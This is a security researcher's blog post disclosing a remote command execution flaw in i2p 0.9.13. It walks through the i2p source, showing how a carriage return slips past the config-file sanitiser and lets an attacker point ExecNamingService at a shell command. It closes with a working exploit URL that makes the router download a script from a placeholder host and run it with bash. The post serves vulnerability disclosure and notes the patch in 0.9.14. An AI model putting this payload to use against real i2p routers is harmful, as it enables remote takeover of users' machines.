Sat Oct 11 17:03:28 UTC 2014

TL;DR: Just another way to get RCE in i2p version 0.9.13.

Inspired by this blogpost I decided to take a quick look at i2p myself (details on the vulnerability were not given at this point in time).

After messing a bit with the routerconsole I figured that the "refresh" parameter of the page "summaryframe.jsp" ends up in the configuration of i2p. So let's just track down this behavior:

The relevant part of "summaryframe.jsp"'s source code goes like this:

    String d = request.getParameter("refresh");
    // Normal browsers send value, IE sends button label
    boolean allowIFrame = intl.allowIFrame(request.getHeader("User-Agent"));
    boolean shutdownSoon = (!allowIFrame) ||
                           "shutdownImmediate".equals(action) || "restartImmediate".equals(action) ||
                           "Shutdown immediately".equals(action) || "Restart immediately".equals(action);
    if (!shutdownSoon) {
        if (d == null || "".equals(d)) {
            d = intl.getRefresh();
        } else {
            d = net.i2p.data.DataHelper.stripHTML(d);  // XSS
            intl.setRefresh(d);
            intl.setDisableRefresh(d);
        }

The "setRefresh" method just saves the user-provided refresh interval to the config:

    public void setRefresh(String r) {
        try {
            if (Integer.parseInt(r) < MIN_REFRESH)
                r = "" + MIN_REFRESH;
        } catch (Exception e) {
        }
        _context.router().saveConfig(PROP_REFRESH, r);
    }

The "saveConfig" method invokes some sanitization defined within the "storeProps" method shown below:

    public static void storeProps(Properties props, File file) throws IOException {
        PrintWriter out = null;
        IllegalArgumentException iae = null;
        try {
            out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(new SecureFileOutputStream(file), "UTF-8")));
            out.println("# NOTE: This I2P config file must use UTF-8 encoding");
            for (Map.Entry<Object, Object> entry : props.entrySet()) {
                String name = (String) entry.getKey();
                String val = (String) entry.getValue();
                if (name.contains("#") ||
                    name.contains("=") ||
                    name.contains("\n") ||
                    name.startsWith(";") ||
                    val.contains("#") ||
                    val.contains("\n")) {
                    if (iae == null)
                        iae = new IllegalArgumentException("Invalid character (one of \"#;=\\n\") in key or value: \"" +
                                                           name + "\" = \"" + val + '\"');
                    continue;
                }
                out.println(name + "=" + val);
            }
        } finally {
            if (out != null) out.close();
        }
        if (iae != null)
            throw iae;
    }

We can see that we cannot inject the "#" nor a newline (0x0a) within configuration values. However the i2p authors forgot to include a carriage return (0x0d) which also would introduce an new configuration line within the given value. Due to this fact we can inject arbitrary configuration lines into the i2p configuration file. Luckily the i2p classes also define an "ExecNamingService" which is configurable via the said configuration:

/**
 * An interface to an external naming service program, with in-memory caching.
 * This can be used as a simple and flexible way to experiment with
 * alternative naming systems.
 *
 * The external command takes a hostname argument and must return (only) the
 * 516-byte Base64 destination, or hostname=dest, on stdout.
 * A trailing \n or \r\n is acceptable.
 * The command must exit 0 on success. Nonzero on failure is optional.
 *
 * The external command can do local and/or remote (via i2p or not) lookups.
 * No timeouts are implemented here - the author of the external program
 * must ensure that the program returns in a reasonable amount of time -
 * (15 sec max suggested)
 *
 * Can be used from MetaNamingService, (e.g. after HostsTxtNamingService),
 * or as the sole naming service.
 * Supports caching, b32, and b64.
 *
 * Sample chained config to put in configadvanced.jsp (restart required):
 *
 * i2p.naming.impl=net.i2p.client.naming.MetaNamingService
 * i2p.nameservicelist=net.i2p.client.naming.HostsTxtNamingService,net.i2p.client.naming.ExecNamingService
 * i2p.naming.exec.command=/usr/local/bin/i2presolve
 *
 * Sample unchained config to put in configadvanced.jsp (restart required):
 *
 * i2p.naming.impl=net.i2p.client.naming.ExecNamingService
 * i2p.naming.exec.command=/usr/local/bin/i2presolve
 *
 */
[...]
    private static final int MAX_RESPONSE = DEST_SIZE + 68 + 10; // allow for hostname= and some trailing stuff
    private String fetchAddr(String hostname) {
        String[] commandArr = new String[3];
        commandArr[0] = _context.getProperty(PROP_SHELL_CMD, DEFAULT_SHELL_CMD);
        commandArr[1] = "-c";
        String command = _context.getProperty(PROP_EXEC_CMD, DEFAULT_EXEC_CMD) + " " + hostname;
        commandArr[2] = command;

        try {
            Process get = Runtime.getRuntime().exec(commandArr);


As we can see above, the "ExecNamingService" takes an command(line) and executes it in order to resolve names. By now we have enough to put this together for a Remote Command Execution exploit. The following URL, for instance served as an IFrame, would get a shell script from "http://some.host/somescript" and execute it afterwards:

http://127.0.0.1:7657/summaryframe?refresh=1337%0Di2p.naming.exec.command=/usr/bin/curl%20http://some.host/somescript%20-o%20/tmp/loli2p%3bbash%20/tmp/loli2p%0di2p.naming.impl=net.i2p.client.naming.ExecNamingService

It has to be noted that for the configuration change to actually trigger, i2p needs to be restarted. In the vulnerable version of i2p that is easily achievable via the numerous XSS vectors. Or you'll just have to wait until the victim restarts i2p manually.

This attack vector has been patched in i2p version 0.9.14.


Posted by joernchen | Permanent link